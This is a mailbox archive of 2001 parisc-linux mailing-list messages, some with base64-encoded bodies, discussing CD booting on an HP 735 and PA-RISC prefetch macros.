ZXkgLSBiaGVhZGxleUBpbnRlcmFjY2Vzcy5jb20NCg0KDQo=




From - Thu Nov 08 21:16:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Buttafuoco" <jim@tylerdrive.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD boot help with 735
Date: Wed, 21 Feb 2001 12:39:39 -0500 (EST)
Lines: 39
Approved: news@gmane.org
Message-ID: <200102211739.f1LHddN31316@openbsd1.buttafuoco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416619888 15852 80.91.229.3 (22 Nov 2014 01:31:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:28 +0000 (UTC)
To: "Bryan W. Headley" <bheadley@interaccess.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 10:39:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from openbsd1.buttafuoco.net (3ff839a7.dsl.flashcom.net [63.248.57.167])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB2384A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 10:39:50 -0700 (MST)
Original-Received: (from www@localhost)
	by openbsd1.buttafuoco.net (8.10.1/8.10.1) id f1LHddN31316;
	Wed, 21 Feb 2001 12:39:39 -0500 (EST)
X-Mailer: NeoMail 1.21
X-IPAddress: 63.248.57.155
Xref: news.gmane.org gmane.linux.ports.parisc:10321

Bryan,

What CD are you using.  I couldn't get the .5 version to work on my 
735.  I did create my own kernel and booted via the network. Let me 
know if you need any help.

Jim

> Hi,
> 
> Am trying to boot the CDROM, but keep getting "ENTRY_INIT status = -4"
> and a few lines of hex. Never
> 
> 1) The above occurs on the console, routed to built-in video. Should I
> have done something to redirect console messages to
>     COMM port beforehand? Have a laptop attached to be the serial
> console, but obviously to no effect
> 2) Just being stupid: 9600 8 N 1, COM port A for the serial console,
> right?
> 3) Should I try, "b scsi.6.0 IPL" or without the IPL?
> 
> This is on a 735 box. Your help much appreciated.
> 
> 
> --
> ____               .:.                 ____
> Bryan W. Headley - bheadley@interaccess.com
> 
> 
> jsb&#382;fj)b&#382;
	bZ+X&#352;l&#8211;&#352;&#8211;)+&#8218;m&#8211;+-Z+X&#8218;/&#352;j)
fj&#352;b?&#352;{
> 
> 






From - Thu Nov 08 21:16:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD boot help with 735
Date: Wed, 21 Feb 2001 10:03:09 -0800
Lines: 33
Approved: news@gmane.org
Message-ID: <200102211803.KAA17294@milano.cup.hp.com>
References: <3A93F02E.28D1B6ED@interaccess.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619889 15857 80.91.229.3 (22 Nov 2014 01:31:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bryan W. Headley" <bheadley@interaccess.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 11:00:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5C1864A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 11:00:49 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 70E2A4F0; Wed, 21 Feb 2001 10:00:37 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA17294;
	Wed, 21 Feb 2001 10:03:14 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 21 Feb 2001 10:43:26 PST."
             <3A93F02E.28D1B6ED@interaccess.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10322

"Bryan W. Headley" wrote:
> Hi,
> 
> Am trying to boot the CDROM, but keep getting "ENTRY_INIT status = -4"
> and a few lines of hex. Never
> 
> 1) The above occurs on the console, routed to built-in video. Should I
> have done something to redirect console messages to
>     COMM port beforehand? Have a laptop attached to be the serial
> console, but obviously to no effect

Shouldn't matter. Where PDC thinks the console is and where linux
thinks it is can be two different places.

> 2) Just being stupid: 9600 8 N 1, COM port A for the serial console,
> right?

yes. Assuming linux can find and support port A.

> 3) Should I try, "b scsi.6.0 IPL" or without the IPL?

Probably not. typically scsi.6.0 is the built-in hard disk.
Do "sea scsi" and see what shows up. CD-ROM is normally SCSI ID 2.
(Though it doesn't have to be).

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Prefetch macros for PA-RISC
Date: Wed, 21 Feb 2001 11:11:41 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20010221111141.H31164@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619889 15860 80.91.229.3 (22 Nov 2014 01:31:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:29 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: arjanv@redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 11:11:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E55E4A19
	for <parisc-linux@parisc-linux.org>; Wed, 21 Feb 2001 11:11:44 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Vdjp-0000gV-00; Wed, 21 Feb 2001 11:11:41 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10323

on PA, we have prefetch for read and prefetch for write.  They're encoded
as loads to the 0 register.  prefetch read is ldd (load 64-bit quantity)
and prefetch-write is ldw (load 32-bit quantity).

Off the top of my head, untested (and someone on the list please correct
me if I'm wrong):

#define prefetch_read(addr) __asm__("ldd 0(%%sr0, %0), %%r0" : : "r" (addr))
#define prefetch_write(addr) __asm__("ldw 0(%%sr0, %0), %%r0" : : "r" (addr))

i think these are only defined for PA 2.0, so we might need to be more
clever than this.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Documentation/parisc/unwritten
Date: Wed, 21 Feb 2001 11:32:23 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20010221113223.I31164@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619889 15870 80.91.229.3 (22 Nov 2014 01:31:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:29 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 11:32:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 50B6D4A19
	for <parisc-linux@parisc-linux.org>; Wed, 21 Feb 2001 11:32:28 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Ve3r-00019K-00
	for parisc-linux@parisc-linux.org; Wed, 21 Feb 2001 11:32:23 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10324

There's a file which documents functions which are allegedly unwritten.
It's not exactly up to date.  Would someone like to volunteer to go
through this file and commit each function which is actually still
unwritten to the bug tracking system?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Prefetch macros for PA-RISC
Date: Wed, 21 Feb 2001 10:50:53 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <200102211850.KAA17436@milano.cup.hp.com>
References: <20010221111141.H31164@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619890 15872 80.91.229.3 (22 Nov 2014 01:31:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:30 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 11:48:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3070F4A19
	for <parisc-linux@parisc-linux.org>; Wed, 21 Feb 2001 11:48:09 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 195CDA51; Wed, 21 Feb 2001 10:48:06 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA17436;
	Wed, 21 Feb 2001 10:50:56 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 21 Feb 2001 11:11:41 PST."
             <20010221111141.H31164@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:10325

Matthew Wilcox wrote:
> 
> on PA, we have prefetch for read and prefetch for write.  They're encoded
> as loads to the 0 register.  prefetch read is ldd (load 64-bit quantity)
> and prefetch-write is ldw (load 32-bit quantity).
> 
> Off the top of my head, untested (and someone on the list please correct
> me if I'm wrong):
> 
> #define prefetch_read(addr) __asm__("ldd 0(%%sr0, %0), %%r0" : : "r" (addr))
> #define prefetch_write(addr) __asm__("ldw 0(%%sr0, %0), %%r0" : : "r" (addr))

Will assuming SR0 work for user space?
Will assuming SR0 work for zero-copy patch in the (near?) future?

"addr" has alignment restrictions. Not sure if you want
to encode those as runtime checks or not.

> i think these are only defined for PA 2.0, so we might need to be more
> clever than this.

My reading of the "PA 2.0 Enhancements" in the "PA-RISC 2.0 Architecture"
is pretty clear this is for PA2.0 CPU's only. #ifdef __LP64__ is needed.

I'd like to encourage use prefetching on bcopy/checksum type loops.
It will help perf *alot*.

grant
 
Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Hull" <jim_hull@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Prefetch macros for PA-RISC
Date: Wed, 21 Feb 2001 10:49:33 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <NDBBIHNACACKNDHNHIKAIEEGCBAA.jim_hull@hp.com>
References: <20010221111141.H31164@parcelfarce.linux.theplanet.co.uk>
Reply-To: <hull@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619890 15876 80.91.229.3 (22 Nov 2014 01:31:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:30 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: "Matthew Wilcox" <matthew@wil.cx>, <arjanv@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 11:49:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A9784A19
	for <parisc-linux@parisc-linux.org>; Wed, 21 Feb 2001 11:49:36 -0700 (MST)
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by palrel1.hp.com (Postfix) with ESMTP
	id 886EFC19; Wed, 21 Feb 2001 10:49:34 -0800 (PST)
Original-Received: from jh73313p (jh73313p.cup.hp.com [15.0.88.75])
	by lucy.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with SMTP id KAA14062;
	Wed, 21 Feb 2001 10:49:30 -0800 (PST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <20010221111141.H31164@parcelfarce.linux.theplanet.co.uk>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:10326

Matthew, you wrote:

> on PA, we have prefetch for read and prefetch for write.  They're encoded
> as loads to the 0 register.  prefetch read is ldd (load 64-bit quantity)
> and prefetch-write is ldw (load 32-bit quantity).

Actually, Table 6-10 in the PA-RISC 2.0 book is wrong -- LDW is prefetch
for read, LDD is prefetch for write.  See this erratum description:

http://devresource.hp.com/devresource/Docs/Refs/PA2_0/updates/e1.html

 -- Jim





From - Thu Nov 08 21:16:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bheadley@interaccess.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD boot help with 735
Date: Wed, 21 Feb 2001 13:19:08 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <3A9414AC.C3EB8BB4@interaccess.com>
References: <200102211739.f1LHddN31316@openbsd1.buttafuoco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1416619890 15883 80.91.229.3 (22 Nov 2014 01:31:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:30 +0000 (UTC)
To: Jim Buttafuoco <jim@tylerdrive.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 12:09:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cactus.bheadley.org (d177.focal4.interaccess.com [207.208.139.177])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AFCA4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 12:09:31 -0700 (MST)
Original-Received: from interaccess.com (IDENT:bheadley@cactus.bheadley.org [192.168.0.6])
	by cactus.bheadley.org (8.11.0/8.11.0) with ESMTP id f1LJJ9s10836;
	Wed, 21 Feb 2001 13:19:13 -0600
Original-Sender: bheadley@interaccess.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22enterprise i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10327

SmltIEJ1dHRhZnVvY28gd3JvdGU6DQoNCj4gQnJ5YW4sDQo+DQo+IFdoYXQgQ0QgYXJlIHlv
dSB1c2luZy4gIEkgY291bGRuJ3QgZ2V0IHRoZSAuNSB2ZXJzaW9uIHRvIHdvcmsgb24gbXkN
Cj4gNzM1LiAgSSBkaWQgY3JlYXRlIG15IG93biBrZXJuZWwgYW5kIGJvb3RlZCB2aWEgdGhl
IG5ldHdvcmsuIExldCBtZQ0KPiBrbm93IGlmIHlvdSBuZWVkIGFueSBoZWxwLg0KPg0KDQpJ
J2xsIHJlYWQgdXAgb24gaG93IHRvIGRvIHRoYXQuIEkgYW0gaW5kZWVkIHVzaW5nIHRoZSAu
NSB2ZXJzaW9uLg0KDQpJIGRvbid0IGtub3cgd2hhdCB0aGUgYm9vdHN0cmFwIHJlcXVpcmVt
ZW50cyBhcmUgYSBuZXR3b3JrIGJvb3QuIExldCdzIGFzc3VtZSB0aGF0IG1ha2luZyBhIENE
IGlzIGVhc2llci4gSSBjYW4NCmJ1aWxkIGEga2VybmVsIG9uIHRoZSB4ODYgYW5kIHB1dCB0
aGUgbmV3IGtlcm5lbCBvbnRvIGEgY2QgaW1hZ2UuIFF1ZXN0aW9uOiB3aGF0J3MgdGhlIHBh
cmFtZXRlcnMgdG8gbWtpc29mcyB0bw0Kc3BlY2lmeSB0aGUgYm9vdCBpbWFnZT8gRWwgVG9y
aXR0bz8gR2VuZXJpYyBib290PyBUaGF0IFN1biBib290IHRyYWNrIHRoaW5nPw0KDQooSW4g
dGhlIG1lYW50aW1lLCBJJ2xsIHJlYWQgdXAgb24gbmV0d29yayBib290aW5nKQ0KDQo+DQo+
IEppbQ0KPg0KPiA+IEhpLA0KPiA+DQo+ID4gQW0gdHJ5aW5nIHRvIGJvb3QgdGhlIENEUk9N
LCBidXQga2VlcCBnZXR0aW5nICJFTlRSWV9JTklUIHN0YXR1cyA9IC00Ig0KPiA+IGFuZCBh
IGZldyBsaW5lcyBvZiBoZXguIE5ldmVyDQo+ID4NCj4gPiAxKSBUaGUgYWJvdmUgb2NjdXJz
IG9uIHRoZSBjb25zb2xlLCByb3V0ZWQgdG8gYnVpbHQtaW4gdmlkZW8uIFNob3VsZCBJDQo+
ID4gaGF2ZSBkb25lIHNvbWV0aGluZyB0byByZWRpcmVjdCBjb25zb2xlIG1lc3NhZ2VzIHRv
DQo+ID4gICAgIENPTU0gcG9ydCBiZWZvcmVoYW5kPyBIYXZlIGEgbGFwdG9wIGF0dGFjaGVk
IHRvIGJlIHRoZSBzZXJpYWwNCj4gPiBjb25zb2xlLCBidXQgb2J2aW91c2x5IHRvIG5vIGVm
ZmVjdA0KPiA+IDIpIEp1c3QgYmVpbmcgc3R1cGlkOiA5NjAwIDggTiAxLCBDT00gcG9ydCBB
IGZvciB0aGUgc2VyaWFsIGNvbnNvbGUsDQo+ID4gcmlnaHQ/DQo+ID4gMykgU2hvdWxkIEkg
dHJ5LCAiYiBzY3NpLjYuMCBJUEwiIG9yIHdpdGhvdXQgdGhlIElQTD8NCj4gPg0KPiA+IFRo
aXMgaXMgb24gYSA3MzUgYm94LiBZb3VyIGhlbHAgbXVjaCBhcHByZWNpYXRlZC4NCj4gPg0K
PiA+DQo+ID4gLS0NCj4gPiBfX19fICAgICAgICAgICAgICAgLjouICAgICAgICAgICAgICAg
ICBfX19fDQo+ID4gQnJ5YW4gVy4gSGVhZGxleSAtIGJoZWFkbGV5QGludGVyYWNjZXNzLmNv
bQ0KPiA+DQo+ID4NCj4gPiD//////////////////////////////////////////////+lq
uKxz+WImIzM4MjvsZmopYiYjMzgyOw0KPiAgICAgICAgIGKy2lquKxz+WKe7H+UmIzM1MjvL
bP4mIzgyMTE7qyYjMzUyO8f/JiM4MjExOynux/orJiM4MjE4Oxttp///JiM4MjExOysts/pa
risc/linux/org/cJiM4MjE4Oy/bJiMzNTI7f+ZqKQ0KPiBman/lJiMzNTI7y2I/+j+lquKx
z+UmIzM1Mjt7sQ0KPiA+DQo+ID4NCg0KLS0NCl9fX18gICAgICAgICAgICAgICAuOi4gICAg
ICAgICAgICAgICAgIF9fX18NCkJyeWFuIFcuIEhlYWRsZXkgLSBiaGVhZGxleUBpbnRlcmFj
Y2Vzcy5jb20NCg0KDQo=




From - Thu Nov 08 21:16:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Buttafuoco" <jim@tylerdrive.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD boot help with 735
Date: Wed, 21 Feb 2001 14:12:37 -0500 (EST)
Lines: 74
Approved: news@gmane.org
Message-ID: <200102211912.f1LJCbp28371@openbsd1.buttafuoco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416619891 15884 80.91.229.3 (22 Nov 2014 01:31:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:31 +0000 (UTC)
To: "Bryan W. Headley" <bheadley@interaccess.com>,
	Jim Buttafuoco <jim@tylerdrive.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 12:12:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from openbsd1.buttafuoco.net (3ff839a7.dsl.flashcom.net [63.248.57.167])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDDDC4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 12:12:37 -0700 (MST)
Original-Received: (from www@localhost)
	by openbsd1.buttafuoco.net (8.10.1/8.10.1) id f1LJCbp28371;
	Wed, 21 Feb 2001 14:12:37 -0500 (EST)
X-Mailer: NeoMail 1.21
X-IPAddress: 63.248.57.155
Xref: news.gmane.org gmane.linux.ports.parisc:10328

Bryan,

   Get the latest PALO tree.  The directions are in the README file.  I 
found if you follow the kernel building instructions from the parisc-
linux.org web site, you can't go wrong....

Jim

> Jim Buttafuoco wrote:
> 
> > Bryan,
> >
> > What CD are you using.  I couldn't get the .5 version to work on my
> > 735.  I did create my own kernel and booted via the network. Let me
> > know if you need any help.
> >
> 
> I'll read up on how to do that. I am indeed using the .5 version.
> 
> I don't know what the bootstrap requirements are a network boot. 
Let's assume that making a CD is easier. I can
> build a kernel on the x86 and put the new kernel onto a cd image. 
Question: what's the parameters to mkisofs to
> specify the boot image? El Toritto? Generic boot? That Sun boot track 
thing?
> 
> (In the meantime, I'll read up on network booting)
> 
> >
> > Jim
> >
> > > Hi,
> > >
> > > Am trying to boot the CDROM, but keep getting "ENTRY_INIT status 
= -4"
> > > and a few lines of hex. Never
> > >
> > > 1) The above occurs on the console, routed to built-in video. 
Should I
> > > have done something to redirect console messages to
> > >     COMM port beforehand? Have a laptop attached to be the serial
> > > console, but obviously to no effect
> > > 2) Just being stupid: 9600 8 N 1, COM port A for the serial 
console,
> > > right?
> > > 3) Should I try, "b scsi.6.0 IPL" or without the IPL?
> > >
> > > This is on a 735 box. Your help much appreciated.
> > >
> > >
> > > --
> > > ____               .:.                 ____
> > > Bryan W. Headley - bheadley@interaccess.com
> > >
> > >
> > > jsb&#382;fj)b&#382;
> >         bZ+X&#352;l&#8211;&#352;&#8211;)
+&#8218;m&#8211;+-Z+X&#8218;/&#352;j)
> > fj&#352;b??&#352;{
> > >
> > >
> 
> --
> ____               .:.                 ____
> Bryan W. Headley - bheadley@interaccess.com
> 
> 
> 
> 






From - Thu Nov 08 21:16:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bheadley@interaccess.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD boot help with 735
Date: Wed, 21 Feb 2001 13:21:42 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <3A941545.5224D3EC@interaccess.com>
References: <200102211803.KAA17294@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1416619891 15885 80.91.229.3 (22 Nov 2014 01:31:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:31 +0000 (UTC)
To: Grant Grundler <grundler@cup.hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 12:14:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cactus.bheadley.org (d183.focal4.interaccess.com [207.208.139.183])
	by dsl2.external.hp.com (Postfix) with ESMTP id 184EC4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 12:14:53 -0700 (MST)
Original-Received: from interaccess.com (IDENT:bheadley@cactus.bheadley.org [192.168.0.6])
	by cactus.bheadley.org (8.11.0/8.11.0) with ESMTP id f1LJLgs11672;
	Wed, 21 Feb 2001 13:21:47 -0600
Original-Sender: bheadley@interaccess.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22enterprise i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10329

R3JhbnQgR3J1bmRsZXIgd3JvdGU6DQoNCj4gPiAxKSBUaGUgYWJvdmUgb2NjdXJzIG9uIHRo
ZSBjb25zb2xlLCByb3V0ZWQgdG8gYnVpbHQtaW4gdmlkZW8uIFNob3VsZCBJDQo+ID4gaGF2
ZSBkb25lIHNvbWV0aGluZyB0byByZWRpcmVjdCBjb25zb2xlIG1lc3NhZ2VzIHRvDQo+ID4g
ICAgIENPTU0gcG9ydCBiZWZvcmVoYW5kPyBIYXZlIGEgbGFwdG9wIGF0dGFjaGVkIHRvIGJl
IHRoZSBzZXJpYWwNCj4gPiBjb25zb2xlLCBidXQgb2J2aW91c2x5IHRvIG5vIGVmZmVjdA0K
Pg0KPiBTaG91bGRuJ3QgbWF0dGVyLiBXaGVyZSBQREMgdGhpbmtzIHRoZSBjb25zb2xlIGlz
IGFuZCB3aGVyZSBsaW51eA0KPiB0aGlua3MgaXQgaXMgY2FuIGJlIHR3byBkaWZmZXJlbnQg
cGxhY2VzLg0KPg0KDQpPa2F5LiBKdXN0IG1ha2luZyBzdXJlLi4uDQoNCj4NCj4gPiAzKSBT
aG91bGQgSSB0cnksICJiIHNjc2kuNi4wIElQTCIgb3Igd2l0aG91dCB0aGUgSVBMPw0KPg0K
PiBQcm9iYWJseSBub3QuIHR5cGljYWxseSBzY3NpLjYuMCBpcyB0aGUgYnVpbHQtaW4gaGFy
ZCBkaXNrLg0KPiBEbyAic2VhIHNjc2kiIGFuZCBzZWUgd2hhdCBzaG93cyB1cC4gQ0QtUk9N
IGlzIG5vcm1hbGx5IFNDU0kgSUQgMi4NCj4gKFRob3VnaCBpdCBkb2Vzbid0IGhhdmUgdG8g
YmUpLg0KPg0KDQpObywgc2NzaS42LjAgaXMgdGhlIGV4dGVybmFsIENEUk9NLiBFdmVyeXRo
aW5nIGVsc2UgaXMgb24gdGhlIGZ3c2NzaQ0KaW50ZXJmYWNlLg0KDQo+DQo+IGdyYW50DQo+
DQo+IEdyYW50IEdydW5kbGVyDQo+IHBhcmlzYy1saW51eCB7UENJfElPTU1VfFNNUH0gaGFj
a2VyDQo+ICsxLjQwOC40NDcuNzI1Mw0KDQotLQ0KX19fXyAgICAgICAgICAgICAgIC46LiAg
ICAgICAgICAgICAgICAgX19fXw0KQnJ5YW4gVy4gSGVhZGxleSAtIGJoZWFkbGV5QGludGVy
YWNjZXNzLmNvbQ0KDQoNCg==




From - Thu Nov 08 21:16:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Moore <cmoore@cancun.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD boot help with 735
Date: Wed, 21 Feb 2001 11:38:23 PST
Lines: 25
Approved: news@gmane.org
Message-ID: <200102211938.LAA19866@cancun.rose.hp.com>
References: <3A941545.5224D3EC@interaccess.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Message/rfc822
